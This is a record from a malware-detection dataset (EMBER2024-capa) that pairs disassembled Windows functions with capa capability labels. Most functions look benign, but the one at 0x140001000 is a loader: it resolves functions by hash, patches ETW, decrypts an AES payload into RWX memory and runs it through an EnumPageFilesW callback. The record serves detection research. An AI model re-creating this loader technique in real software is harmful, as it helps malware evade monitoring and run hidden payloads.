joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800281a0
Capabilities:
Suspend thread

Disassembly:
push rdi
sub rsp, 0x20
mov eax, dword [0x180058ebc]
mov rdi, rcx
test eax, eax
jne 0x180028240
call sub.KERNEL32.dll_GetCurrentThread
cmp rdi, rax
jne 0x1800281c9
xor eax, eax
add rsp, 0x20
pop rdi
ret
mov ecx, 0x10
mov qword [rsp + 0x30], rbx
call fcn.180028dc0
mov rbx, rax
test rax, rax
jne 0x1800281e5
lea edi, [rax + 8]
jmp 0x180028206
mov rcx, rdi
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x180028224
call sub.KERNEL32.dll_GetLastError
mov edi, eax
mov edx, 0x10
mov rcx, rbx
call fcn.180028dfc
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov dword [0x180058ebc], edi
mov qword [0x180058ec0], 0
add rsp, 0x20
pop rdi
ret
mov rax, qword [0x180058ec8]
mov qword [rbx], rax
xor eax, eax
mov qword [rbx + 8], rdi
mov qword [0x180058ec8], rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
call fcn.140001410
mov rcx, rax
mov edx, 0x15fc8158
call fcn.1400015f0
mov rdx, rax
lea rcx, str.___Address_of_NtTraceEvent_found_:_0x_p_n
mov rsi, rax
call fcn.140001230
mov byte [rsp + 0x38], 0xc3
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x40], 0x1000
mov qword [rsp + 0x30], rsi
call fcn.140001410
mov rcx, rax
mov edx, 0xb63f1628
call fcn.1400015f0
mov rdi, rax
movzx ecx, byte [rax + 4]
lea rbx, [rax + 0x12]
mov dword [0x1400a3c40], ecx
mov qword [0x1400a3c48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
lea r8, [rsp + 0x40]
mov rcx, rax
lea rdx, [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
call fcn.140001b40
call fcn.140001410
mov rcx, rax
mov edx, 0xea4502f2
call fcn.1400015f0
movzx ecx, byte [rax + 4]
add rax, 0x12
mov qword [0x1400a3c48], rax
mov dword [0x1400a3c40], ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
mov qword [rsp + 0x20], 0
mov rcx, rax
lea r8, [rsp + 0x38]
mov rdx, rsi
call fcn.140001b40
movzx eax, byte [rdi + 4]
mov dword [0x1400a3c40], eax
mov qword [0x1400a3c48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x3c]
lea r8, [rsp + 0x40]
mov rcx, rax
lea rdx, [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
call fcn.140001b40
lea rcx, str.___ETW_patched___n
call fcn.140001230
call fcn.140001780
lea rcx, str.___Executing_payload_with_EnumPageFilesW_n
call fcn.140001230
xor ecx, ecx
mov edx, 0x43a40
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140001a10
mov r8d, 0x43a40
lea rdx, [0x1400050b0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
call fcn.140001a10
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32EnumPageFilesW]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001b60
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140001410
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor r12d, r12d
lea r8, str.ntdll.dll
mov rdi, 0xffffffffffffffff
mov dword [rsp + 0x28], r12d
mov r9d, edi
mov qword [rsp + 0x20], r12
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.140001e60
mov r9d, edi
mov dword [rsp + 0x28], ebx
lea r8, str.ntdll.dll
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov r14, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rsi, qword [rdx + 0x20]
test rsi, rsi
je 0x14000159d
cmp word [rsi + 0x48], r12w
je 0x14000159d
mov rbp, qword [rsi + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, r14
movsxd rdi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
cmp edi, 0x104
jge 0x140001591
cmp r15d, 0x104
jge 0x140001591
mov rbx, r12
test rdi, rdi
jle 0x14000152b
nop word [rax + rax]
movzx ecx, word [rbp + rbx*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rsp + rbx*2 + 0x240], ax
inc rbx
cmp rbx, rdi
jl 0x140001510
add rbx, rbx
cmp rbx, 0x208
jae 0x1400015e3
mov word [rsp + rbx + 0x240], r12w
mov rbx, r12
test r15d, r15d
jle 0x140001568
nop dword [rax]
movzx ecx, word [r14 + rbx*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rsp + rbx*2 + 0x30], ax
inc rbx
cmp rbx, r15
jl 0x140001550
add rbx, rbx
cmp rbx, 0x208
jae 0x1400015e3
lea rdx, [rsp + 0x30]
mov word [rsp + rbx + 0x30], r12w
lea rcx, [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400015dd
mov rsi, qword [rsi]
test rsi, rsi
jne 0x1400014c2
lea rcx, str.___Module_not_found_in_PEB
call fcn.1400011d0
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140001b60
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov rax, qword [rsi + 0x20]
jmp 0x1400015ab
call fcn.140001c88
int3
Function at 0x1400015f0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x110
mov edi, edx
mov r8, rcx
test rcx, rcx
je 0x14000176a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000176a
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x14000176a
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
mov qword [r11 + 0x10], rbp
movups xmm1, xmmword [rax + 0x28]
mov qword [r11 + 0x18], rsi
xor r9d, r9d
movups xmmword [rcx], xmm0
mov qword [r11 + 8], rbx
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov eax, dword [r11 - 0x88]
add rax, r8
mov r10d, dword [rax + 0x20]
mov ebp, dword [rax + 0x1c]
add r10, r8
mov r11d, dword [rax + 0x24]
add rbp, r8
mov esi, dword [rax + 0x14]
add r11, r8
test esi, esi
je 0x140001734
nop dword [rax + rax]
movzx eax, word [r11]
mov ecx, dword [r10]
add rcx, r8
mov ebx, dword [rbp + rax*4]
mov eax, 0x65
add rbx, r8
movsx edx, byte [rcx]
test edx, edx
je 0x140001720
nop dword [rax]
imul eax, eax, 0x21
lea rcx, [rcx + 1]
add eax, edx
movsx edx, byte [rcx]
test edx, edx
jne 0x140001710
cmp edi, eax
je 0x140001765
inc r9d
add r11, 2
add r10, 4
cmp r9d, esi
jb 0x1400016f0
mov edx, edi
lea rcx, str._n_t____Function_with_hash__lu_not_found_n
call fcn.140001230
xor eax, eax
mov rbx, qword [rsp + 0x120]
mov rbp, qword [rsp + 0x128]
mov rsi, qword [rsp + 0x130]
add rsp, 0x110
pop rdi
ret
mov rax, rbx
jmp 0x140001744
xor eax, eax
add rsp, 0x110
pop rdi
ret
Function at 0x140001a10
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r9d, 0x18
mov dword [rsp + 0x30], 0x43a40
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001b24
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001b24
mov rcx, qword [rsp + 0x48]
lea rdx, [0x1400050a0]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001b24
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001b24
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [0x1400050b0]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001b24
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001b60
add rsp, 0x68
ret
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001b60
add rsp, 0x68
ret

Function at 0x140002620
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000266a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000266a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000266a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000266a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000266a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000266c
xor al, al
add rsp, 0x28
ret
Function at 0x14001f278
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001efdc
Function at 0x140001af0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b3a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b3c
xor al, al
add rsp, 0x28
ret
Function at 0x140003c60
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x290
movdqa xmmword [rsp + 0x2f0], xmm6
movdqa xmmword [rsp + 0x300], xmm7
movdqa xmmword [rsp + 0x310], xmm8
movdqa xmmword [rsp + 0x320], xmm9
movdqa xmmword [rsp + 0x330], xmm10
movdqa xmmword [rsp + 0x340], xmm11
movdqa xmmword [rsp + 0x350], xmm12
movdqa xmmword [rsp + 0x360], xmm13
movdqa xmmword [rsp + 0x370], xmm14
movdqa xmmword [rsp + 0x380], xmm15
mov eax, dword [0x14029a57c]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x290]
mov qword [rdx + 8], r8
call fcn.1400d42f0
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x14029a57c]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x140003df0
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x140003e0c
cmp rcx, r8
jl 0x140003dff
mov qword [rdx + 0x80], rcx
test dword [0x1402920a0], 1
je 0x140003e3b
cmp byte [rsp + 0xd0], 0
je 0x140003e3b
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x140003960
mov rsp, r8
jmp rax
Function at 0x140003e40
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xc8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rdx
mov eax, dword [0x14029a57c]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
mov qword [rsp + 0xc0], rax
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [rdx + 0x18]
mov rbx, qword [rax]
mov rax, qword [rdx + 0x20]
mov rbp, qword [rax]
mov rax, qword [rdx + 0x28]
mov rsi, qword [rax]
mov rax, qword [rdx + 0x30]
mov rdi, qword [rax]
mov rax, qword [rdx + 0x58]
mov r12, qword [rax]
mov rax, qword [rdx + 0x60]
mov r13, qword [rax]
mov rax, qword [rdx + 0x68]
mov r14, qword [rax]
mov rax, qword [rdx + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [rdx + 0x90]
movdqa xmm7, xmmword [rdx + 0xa0]
movdqa xmm8, xmmword [rdx + 0xb0]
movdqa xmm9, xmmword [rdx + 0xc0]
movdqa xmm10, xmmword [rdx + 0xd0]
movdqa xmm11, xmmword [rdx + 0xe0]
movdqa xmm12, xmmword [rdx + 0xf0]
movdqa xmm13, xmmword [rdx + 0x100]
movdqa xmm14, xmmword [rdx + 0x110]
movdqa xmm15, xmmword [rdx + 0x120]
mov rcx, qword [rdx + 0x78]
call qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
mov rax, qword [rdx + 0x18]
mov qword [rax], rbx
mov rax, qword [rdx + 0x20]
mov qword [rax], rbp
mov rax, qword [rdx + 0x28]
mov qword [rax], rsi
mov rax, qword [rdx + 0x30]
mov qword [rax], rdi
mov rax, qword [rdx + 0x58]
mov qword [rax], r12
mov rax, qword [rdx + 0x60]
mov qword [rax], r13
mov rax, qword [rdx + 0x68]
mov qword [rax], r14
mov rax, qword [rdx + 0x70]
mov qword [rax], r15
movdqa xmmword [rdx + 0x90], xmm6
movdqa xmmword [rdx + 0xa0], xmm7
movdqa xmmword [rdx + 0xb0], xmm8
movdqa xmmword [rdx + 0xc0], xmm9
movdqa xmmword [rdx + 0xd0], xmm10
movdqa xmmword [rdx + 0xe0], xmm11
movdqa xmmword [rdx + 0xf0], xmm12
movdqa xmmword [rdx + 0x100], xmm13
movdqa xmmword [rdx + 0x110], xmm14
movdqa xmmword [rdx + 0x120], xmm15
mov rax, qword [rsp + 0xc0]
lock or dword [rax + 0x38], 0x10
movdqa xmm6, xmmword [rsp + 0x20]
movdqa xmm7, xmmword [rsp + 0x30]
movdqa xmm8, xmmword [rsp + 0x40]
movdqa xmm9, xmmword [rsp + 0x50]
movdqa xmm10, xmmword [rsp + 0x60]
movdqa xmm11, xmmword [rsp + 0x70]
movdqa xmm12, xmmword [rsp + 0x80]
movdqa xmm13, xmmword [rsp + 0x90]
movdqa xmm14, xmmword [rsp + 0xa0]
movdqa xmm15, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbp
pop rdi
pop rsi
pop rbx
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000c950
Capabilities:
Resume thread
Suspend thread

Disassembly:
cmp qword [rcx + 0x60], 0xffffffffffffffff
je 0x140005467
mov eax, dword [rcx + 0x38]
shr eax, 5
test al, 1
jne 0x140005467
mov eax, dword [rcx + 0x38]
shr eax, 7
test al, 1
jne 0x140005467
mov rdx, rcx
mov rcx, qword [rcx + 0x60]
jmp 0x14000c950
ret
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x500
mov rax, qword [0x14028bf80]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rax, qword [0x14028b588]
mov rbx, rdx
mov rdi, rcx
cmp rax, 0xffffffffffffffff
jne 0x14000c9ae
xor edx, edx
lea rcx, str.kernel32
mov r8d, 0x800
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rcx, rax
lea rdx, str.QueueUserAPC2
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14028b588], rax
test rax, rax
je 0x14000ca0a
mov rcx, rbx
call fcn.140005760
test al, al
jne 0x14000ca58
mov dl, 1
mov rcx, rbx
call fcn.1400057e0
mov r9d, 0x10001
lea rcx, [0x14000c5c0]
mov r8, rbx
mov rdx, rdi
call qword [0x14028b588]
test eax, eax
jne 0x14000ca58
xor edx, edx
mov rcx, rbx
call fcn.1400057e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x14000ca58
mov qword [0x14028b588], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x14000ca58
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x50], 0x40100003
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000ca4f
mov eax, dword [rsp + 0x50]
test eax, eax
jns 0x14000ca4f
test eax, 0x18000000
jne 0x14000ca4f
mov rdx, rbx
lea rcx, [rsp + 0x20]
call qword [0x140294248]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1400613d0
mov rbx, qword [rsp + 0x520]
add rsp, 0x500
pop rdi
ret

Function at 0x14000cbe0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14000cbf4
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x14000cca0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000ccc9
add rsp, 0x38
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x38
ret

Function at 0x14000cce0
Capabilities:
Create thread
Resume thread

Disassembly:
push rbx
sub rsp, 0x30
mov r9, rdx
mov qword [rsp + 0x28], 0
mov r8, rcx
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14000cd15
add rsp, 0x30
pop rbx
ret
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x14000f740
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xe0
mov rax, qword [0x14028bf80]
xor rax, rsp
mov qword [rsp + 0xd0], rax
movzx ebx, r8b
mov rdi, rdx
mov r8d, 0x40
lea rdx, [rsp + 0x50]
call fcn.14000f370
mov r8d, 0x11
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov r11d, eax
lea ecx, [rax - 1]
cmp ecx, 0xf
ja 0x14000f808
xor ecx, ecx
mov r9d, ecx
test eax, eax
je 0x14000f801
lea r10, [rsp + 0x20]
movzx r8d, word [r10]
lea eax, [r8 - 0x30]
test bl, bl
je 0x14000f7c4
cmp ax, 9
ja 0x14000f808
lea rcx, [rcx + rcx*4]
lea rcx, [rcx - 0x18]
lea rcx, [r8 + rcx*2]
jmp 0x14000f7f5
shl rcx, 4
cmp ax, 9
ja 0x14000f7d4
add rcx, 0xffffffffffffffd0
jmp 0x14000f7f2
lea eax, [r8 - 0x61]
cmp ax, 5
ja 0x14000f7e4
add rcx, 0xffffffffffffffa9
jmp 0x14000f7f2
lea eax, [r8 - 0x41]
cmp ax, 5
ja 0x14000f808
add rcx, 0xffffffffffffffc9
add rcx, r8
inc r9d
add r10, 2
cmp r9d, r11d
jb 0x14000f7a4
mov qword [rdi], rcx
mov al, 1
jmp 0x14000f80a
xor al, al
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.1400613d0
mov rbx, qword [rsp + 0x100]
add rsp, 0xe0
pop rdi
ret
Function at 0x1400120c0
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0xc0
mov rax, qword [0x14028bf80]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, r9
mov rbx, r8
mov r14, rdx
mov rdi, rcx
test rcx, rcx
je 0x1400121af
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, 0x48
lea rdx, [rsp + 0x60]
mov rcx, rax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x1400121af
mov rdx, qword [rsp + 0x70]
test r14, r14
je 0x14001218a
xorps xmm0, xmm0
test rdx, rdx
js 0x140012131
cvtsi2ss xmm0, rdx
jmp 0x140012149
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x140257080]
test rdi, rdi
js 0x140012163
cvtsi2ss xmm0, rdi
jmp 0x14001217b
mov rax, rdi
mov rcx, rdi
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
xor eax, eax
test rbx, rbx
je 0x1400121a1
cmp rdx, rdi
jbe 0x14001219b
mov qword [rbx], rax
jmp 0x1400121a1
sub rdi, rdx
mov qword [rbx], rdi
test rsi, rsi
je 0x140012278
jmp 0x140012275
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x28]
jae 0x140012252
test r14, r14
je 0x140012241
mov rcx, rdx
xorps xmm0, xmm0
sub rcx, qword [rsp + 0x50]
js 0x1400121eb
cvtsi2ss xmm0, rcx
jmp 0x140012200
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x140257080]
test rdx, rdx
js 0x14001221a
cvtsi2ss xmm0, rdx
jmp 0x140012232
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
test rbx, rbx
je 0x140012249
mov qword [rbx], rdx
test rsi, rsi
je 0x140012278
xor eax, eax
jmp 0x140012275
test r14, r14
je 0x14001225e
mov eax, dword [rsp + 0x24]
mov dword [r14], eax
test rbx, rbx
je 0x14001226b
mov rax, qword [rsp + 0x30]
mov qword [rbx], rax
test rsi, rsi
je 0x140012278
mov rax, qword [rsp + 0x40]
mov qword [rsi], rax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400613d0
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop r14
pop rdi
pop rsi
ret